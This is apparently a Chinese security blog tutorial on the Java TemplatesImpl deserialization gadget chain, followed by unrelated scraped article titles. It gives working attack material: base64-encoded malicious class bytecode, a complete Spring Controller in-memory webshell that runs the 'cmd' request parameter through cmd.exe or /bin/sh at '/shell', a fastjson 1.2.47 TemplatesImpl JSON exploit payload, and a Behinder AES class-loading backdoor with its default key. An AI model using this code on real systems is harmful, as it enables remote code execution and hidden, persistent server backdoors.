0x01 背景

之前文章中有说的,要加入星球访问:https://t.zsxq.com/0ahB6Mw1P

TemplatesImpl利用链是一个非常重要的东西,要知道,CC链可以用它,CB链也用它,注入内存马还是用它。为什么?因为它可以加载java字节码并实例化。相对于调用Runtime.exec进行命令执行,加载恶意代码更贴合我们的使用。《java安全漫谈》中给出了TemplatesImpl利用链:

TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses()->TransletClassLoader#defineClass()->

在CB1分析中有提到,其实这条利用链还能加一个getOutputProperties,详见:https://xz.aliyun.com/t/12042

TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

0x02 类加载器

ClassLoader,类加载器,是JVM执行类加载机制的前提,其主要任务为根据一个类的全限定名来读取此类的二进制字节流到JVM内部,然后转换为一个与目标类对应的java.lang.Class对象实例。ClassLoader提供的API

package java.lang;
public abstract class ClassLoader {public Class loadClass(String name);protected Class defineClass(byte[] b);public URL getResource(String name);public Enumeration getResources(String name);public ClassLoader getParent();
}
URLClassLoader
DefineClassLoader
BCELClassloader
TemplatesImpl

0x03 defineClass加载器

通过反射获取ClassLoader#defineClass,进而读取字节码加载类

package com.classloader;import java.lang.reflect.Method;
import java.util.Base64;public class DefineClassLoaderDemo {public static void main(String[] args) throws Exception {//反射获取ClassLoader#defineClassClass clazz = Class.forName("java.lang.ClassLoader");Method defineClassMethod = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClassMethod.setAccessible(true);//先编译Evil.java,再进行base64编码//cat Evil.class | base64byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAMAoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAIACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFkxjb20vY2xhc3Nsb2FkZXIvRXZpbDsBAApFeGNlcHRpb25zBwAkAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAALAAwHACUMACYAJwEAAnt9BwAoDAApACoHACsMACwALQEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMAC4ALwEABnN0YXRpYwEAFGNvbS9jbGFzc2xvYWRlci9FdmlsAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAIADQAAAEwAAgABAAAAFiq3AAGyAAISA7YABLgABRIGtgAHV7EAAAACAA4AAAASAAQAAAAGAAQADQAMAAcAFQAIAA8AAAAMAAEAAAAWABAAEQAAABIAAAAEAAEAEwAIABQADAABAA0AAAAlAAIAAAAAAAmyAAISCLYABLEAAAABAA4AAAAKAAIAAAAKAAgACwABABUAAAACABY=");Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"com.classloader.Evil",bytes,0,bytes.length);targetClass.newInstance();}
}

看最后两行,通过反射拿到的方法,创建class对象。通过newInstance实例化对象,触发恶意代码

Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"com.classloader.Evil",bytes,0,bytes.length);
targetClass.newInstance();

com.classloader.Evil代码如下

package com.classloader;import java.io.IOException;public class Evil {public Evil() throws IOException{Runtime.getRuntime().exec("open /System/Applications/Calculator.app");}static {System.out.println("static");}{System.out.println("{}");}
}

0x04 newInstance与new

我们知道,一个对象在可以被使用之前必须要被正确地实例化。常见的实例化方式为

reTestre=newreTest();

如图,有个类reTest,分别存在static{}代码块,{}代码块,无参构造方法

实例化该类,可以看到,上面的3个代码块都执行了,并且顺序为: static{}>{}>无参构造方法

再看通过newInstance的方式,一样执行了几个代码块中的内容。

所以我们可以知道:defineClass方法直接根据字节数组定义一个类,如果没有执行newInstance,那么不会执行静态代码块、构造代码块、构造方法中的内容。

0x05 利用TemplatesImpl来加载字节码

1、首先准备一个命令执行Exp。看了前面的内容知道,这里是写了一个无参构造方法,内容为调用Runtime执行一个弹出计算器的命令。

package com.classloader;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class TemplatesImplEvil extends AbstractTranslet {public TemplatesImplEvil() throws IOException {super();Runtime.getRuntime().exec("open /System/Applications/Calculator.app");}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

2、然后我们就会有疑惑了,为什么这个Exp代码这么长,多了一些什么东西?

1、继承了一个类AbstractTranslet
2、多了两个transform方法

3、编写代码,加载前面的TemplatesImplEvil字节码

package com.classloader;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;
import java.util.Base64;public class TemplatesImplDemo {public static void main(String[] args) throws Exception{//cat TemplatesImplEvil.class | base64byte[] code = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9jbGFzc2xvYWRlci9UZW1wbGF0ZXNJbXBsRXZpbDsBAApFeGNlcHRpb25zBwAlAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAJgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxFdmlsLmphdmEMAAcACAcAJwwAKAApAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAKgArAQAhY29tL2NsYXNzbG9hZGVyL1RlbXBsYXRlc0ltcGxFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADgAEAA8ADQAQAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAOAAAABAABABYAAQAcAAAAAgAd");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][] {code});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());templates.newTransformer();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}

4、执行,确实弹出了计算器

5、这里很麻烦,每次都要去找到class文件并获取它的字节码,可以通过一个包,直接读取字节码

<!-- https://mvnrepository.com/artifact/javassist/javassist -->
<dependency><groupId>javassist</groupId><artifactId>javassist</artifactId><version>3.12.1.GA</version>
</dependency>
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.classloader.TemplatesImplEvil.class.getName());
byte[] code = clazz.toBytecode();

6、可以正常执行了,我在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader#defineClass处下了个断点

7、前面知道了newInstance实例化之后才能触发构造方法,这里看调用链,最后是到defineClass就结束了,为什么也可以实现调用构造方法呢,我在Runtime处下了个断点查看

8、看利用链是从getTransletInstance就调用了newInstance

9、在newInstance的上面,进行了name和class的判断,然后进入调用链到defineClass进行类定义之后,到

AbstractTranslet translet = (AbstractTranslet)_class[_transletIndex].getConstructor().newInstance();

强转为AbstractTranslet,并且调用newInstance实例化。这也是为什么执行的类需要继承AbstractTranslet,并且没有看到newInstance10、完善之后的利用链

TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
TemplatesImpl#getTransletInstance() ->
Constructor#newInstance() ->
Runtime#exec(java.lang.String)

11、补个坑,TemplatesImplEvil创建的两个transform方法,继承AbstractTranslet自动需要的。

0x06 内存马

文章第四部分,了解了实例化类的时候,会自动执行static{}代码块,{}代码块,无参构造方法那么如何注入内存马呢,也是通过newInstance实现

1、首先我们看完整的spring Controller内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;//回显spring Controller内存马public class TemplatesImplSpringController extends AbstractTranslet {public TemplatesImplSpringController() throws Exception{super();WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");method.setAccessible(true);Method method2 = TemplatesImplSpringController.class.getMethod("test");PatternsRequestCondition url = new PatternsRequestCondition("/shell");RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");mappingHandlerMapping.registerMapping(info, inject, method2);}public TemplatesImplSpringController(String aaa) {}public void test() throws Exception {HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();try {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if (System.getProperty("os.name").toLowerCase().contains("win")) {p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});} else {p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next() : o;c.close();writer.write(o);writer.flush();writer.close();} else {response.sendError(404);}} catch (Exception e) {}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

2、内容有点多,首先看到有如下几个方法

public TemplatesImplSpringController() throws Exception{
public TemplatesImplSpringController(String aaa) {
public void test() throws Exception {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

3、倒数两个可以不看,前面了解了要通过templatesImpl加载某个类的字节码,需要继承AbstractTranslet,继承之后自动生成两个transform方法

4、然后整个内存马就变成了3个部分

无参构造方法TemplatesImplSpringController()

有参构造方法TemplatesImplSpringController(String aaa)

test()

5、了解过内存马之后我们知道,tomcat或者spring,注入内存马都基本是通过获取上下文对象,再通过内置方法动态注册filter、listener、selvelt、controller、intercopter等查看无参构造方法

public TemplatesImplSpringController() throws Exception{super();WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");method.setAccessible(true);Method method2 = TemplatesImplSpringController.class.getMethod("test");PatternsRequestCondition url = new PatternsRequestCondition("/shell");RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");mappingHandlerMapping.registerMapping(info, inject, method2);}

super关键字主要是防止编译报错,具体可以看:https://blog.csdn.net/yongbutingxide/article/details/82669054

获取上下文对象context市面上公布的有4种方式:


//第一种:getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();//第二种:WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());//第三种:RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContext
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());//第四种:getAttribute
// 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

6、拿到context之后,就可以通过context获取RequestMappingHandlerMapping,对象可以通过registerMapping注册恶意的Controller

// 动态注册controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
...
...
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
...
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, inject, method2);

7、中间部分则是创建好注册恶意controller所需要的字段,url为指定的路径

// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = TemplatesImplSpringController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

8、第二个构造函数与无参构造函数中创建对象的含义

// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环

TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");

9、最后剩下test部分,此部分最后会注册到spring中,为内存马实际执行代码。

public void test() throws Exception {// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();// 获取cmd参数并执行命令,回显try {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时,返回 404 错误response.sendError(404);}}catch (Exception e){}}

比较关键的就是request和response对象的获取

引入的两个包为tomcat包,这也是为什么spring gateway的el表达式注入漏洞无法直接注入冰蝎内存马的原因

0x07 fastjson1.2.47注入内存马

通过的是templatesImpl利用链

{"a": {"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["恶意类字节码"],'_name': 'a.b','_tfactory': {},"_outputProperties": {},"_name": "b","_version": "1.0","allowedProtocols": "all"}}

1、起一个springboot,代码如下

package com.shiro.vuln.Controller;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;@Controller
public class FastjsonController {@RequestMapping( "/deserialize")@ResponseBodypublic String deserialize(@RequestParam String code) throws Exception{
//        JSON.parse(code);//fastjson1.2.47 TemplatesImpl利用JSON.parseObject(code,Object.class, Feature.SupportNonPublicField);return "deserialize";}
}

2、使用TemplatesImplEvil字节码攻击

3、获取内存马字节码

4、攻击fastjson,注入内存马

5、访问内存马

6、修改test部分为冰蝎逻辑即可注入冰蝎内存马

public void test() throws Exception {try {HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();HttpSession session = request.getSession();//create pageContextHashMap pageContext = new HashMap();pageContext.put("request", request);pageContext.put("response", response);pageContext.put("session", session);if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);method.setAccessible(true);byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);evilclass.newInstance().equals(pageContext);}}catch (Exception e){e.printStackTrace();}}

生成base64字节码

执行json解析

连接http://192.168.100.71:8080/shell

0x08 参考

https://t.zsxq.com/0a70j7Ake

https://xz.aliyun.com/t/12042

https://mp.weixin.qq.com/s/30F7FomHiTnak_qe8mslIQ

https://xz.aliyun.com/t/10781

https://xz.aliyun.com/t/12047

原文链接:https://xz.aliyun.com/t/12085

TemplatesImpl利用链与Fastjson注入内存马相关推荐

  1. Java内存马攻防实战——攻击基础篇

    ​ 在红蓝对抗中,攻击方广泛应用webshell等技术在防守方提供的服务中植入后门,防守方也发展出各种技术来应对攻击,传统的落地型webshell很容易被攻击方检测和绞杀.而内存马技术则是通过在运行的 ...

  2. 【网络安全】Agent内存马的自动分析与查杀

    前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...

  3. Java内存马简单实现

    文章目录 Tomcat内存马 JavaWeb 基本流程 Listener型内存马 恶意Listener监听器 动态注册Listener流程 构造Listener内存马 编写恶意Listener监听器 ...

  4. [Java安全]—Tomcat Filter内存马

    文章首发于Secin:Filter内存马及工具检测 文章目录 原理 Filter注册流程 Filter内存马注入 内存马检测工具 原理 Servlet 有自己的过滤器filter,可以通过自定义的过滤 ...

  5. 初识Java内存马检测

    近些年,无文件攻击技术越来越流行.本文旨在介绍无文件攻击中最为流行的一种技术--Java内存马,让企业.用户了解和重视其危害性,提高防范意识,降低安全风险. - 全文约1500字,预计阅读时间为4分钟 ...

  6. 【应急响应】网站入侵篡改指南Webshell内存马查杀漏洞排查时间分析

    网站入侵篡改指南&Webshell内存马查杀&漏洞排查&时间分析 章节内容点: IIS&.NET-注入-基于时间配合日志分析 Apache&PHP-漏洞-基于漏 ...

  7. 再谈Spring内存马之Interceptor(内存马系列篇十)

    前置 什么是Interceptor技术? 在系统中,经常需要在处理用户请求之前和之后执行一些行为,例如检测用户的权限,或者将请求的信息记录到日志中,即平时所说的"权限检测"及&qu ...

  8. java内存马分析集合

    基于tomcat Servlet内存马 web.xml <?xml version="1.0" encoding="UTF-8"?> <web ...

  9. java Servlet内存马

    Servlet web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns=& ...

最新文章

  1. Linux下屏蔽Ctrl+Alt+Delete
  2. VS2008连接CodePlex的源代码管理服务
  3. Spring Boot 缓存应用实践
  4. mysql warning 在哪看_查看MySQL的warning
  5. 成功解决cv2.imwrite(filename, img)代码输出中文文件乱码的问题(cv2.imencode方法解决)
  6. dataloader 源码_pytorch :: Dataloader中的迭代器和生成器应用
  7. 使用Sniffer截获流经本机网卡的IP数据包
  8. 分布式系统的面试题5
  9. jpa 原生sql 查询返回一个实体_JPA查询--使用原生sql 并且把查询结果转为实体对象...
  10. 【辨异】 —— 带宽与宽带
  11. 只让类访问, 而不让类的实例来访问某个成员变量
  12. 两角和正切的展开式+正切公式+一元微积分
  13. 洛谷P2122 还教室
  14. IOS开发之相机、相册页面英文问题
  15. c#未能加载程序集oracle.dataaccess,未能加载文件或程序集“Oracle.DataAccess, Version=2.112.1.0解决方案...
  16. 单反相机的传奇—佳能单反50年辉煌之路(连载十三)
  17. node ref char*_「 volute 」树莓派+Node.js造一个有灵魂的语音助手
  18. Unexpected error: java.security.InvalidAlgorithmParameterException: the trustAnchors parameter must
  19. 一文全解高级网格划分工具Fluent Meshing
  20. opacity和rgba()的区别

热门文章

  1. JAVA、IDEA超级实用快捷键(公司开发项目中常用快捷键)
  2. zipf distribution
  3. Spring Boot (Filter)过滤器的实现以及使用场景
  4. 搜索算法--爬山法 (代码示例)
  5. 移动硬盘误删分区,数据完美找回
  6. linux镜像文件目录,Linux - 系统 - 文件目录
  7. Three.js点击地图动态标注
  8. license程序设计 系统划分 及加密设计 加密算法调用openssl库
  9. 软件测试常见面试题一(功能测试,接口测试)
  10. Android开发之百度地图定位打卡